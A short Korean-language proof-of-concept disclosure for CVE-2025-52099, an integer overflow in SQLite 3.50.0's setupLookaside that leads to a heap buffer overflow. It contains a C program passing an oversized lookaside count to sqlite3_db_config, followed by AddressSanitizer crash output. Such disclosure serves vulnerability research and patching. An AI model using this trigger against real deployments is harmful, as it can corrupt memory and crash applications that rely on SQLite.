
CVE-2025-52099에 대한 개념 증명(PoC)으로, SQLite 3.50.0의 setupLookaside 함수에서 발생하는 정수 오버플로우로 인해 힙 버퍼 오버플로우(heap-buffer-overflow)로 이어지는 취약점입니다.
SQLite 3.50.0의 정수 오버플로우
SQLite 3.50.0의 setupLookaside 함수에서 정수 오버플로우를 트리거하는 개념 증명(PoC) 코드가 아래에 제공됩니다. 이 오버플로우는 sz * nBig의 검사되지 않은 곱셈으로 인해 발생하며, 이 값이 음수로 감싸져 잘못된 메모리 쓰기를 초래할 수 있습니다.
테스트 환경: Ubuntu 22.04 x86_64, SQLite 3.50.0(직접 빌드)
PoC 코드(C):
#include <stdio.h> #include <sqlite3.h>
int main() { sqlite3 *db;
// Open SQLite database
if (sqlite3_open("test.db", &db)) {
fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
return 1;
}
// Malicious lookaside configuration
// sz = 140, cnt = 1979733333
// This causes internal sz * nBig to overflow and produces negative nSm
int rc = sqlite3_db_config(db, SQLITE_DBCONFIG_LOOKASIDE, NULL, 140, 1979733333);
if (rc != SQLITE_OK) {
fprintf(stderr, "Failed to configure lookaside: %d\n", rc);
return 2;
} else {
printf("[+] Lookaside configured\n");
}
// Create table and perform many inserts to exercise corrupted lookaside pool
sqlite3_exec(db, "CREATE TABLE test(id INTEGER);", NULL, NULL, NULL);
for (int i = 0; i < 100000; i++) {
char sql[64];
snprintf(sql, sizeof(sql), "INSERT INTO test(id) VALUES(%d);", i);
sqlite3_exec(db, sql, NULL, NULL, NULL);
}
printf("[+] Insert finished. Closing DB.\n");
sqlite3_close(db);
return 0;
}
이 PoC를 AddressSanitizer(-fsanitize=address)로 컴파일하면 잘못된 lookaside 슬롯 구성으로 인해 힙 버퍼 오버플로우가 발생합니다.
ASAN으로 관찰된 출력:
==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000f000 ... READ of size 8 at 0x60200000f000 thread T0 ...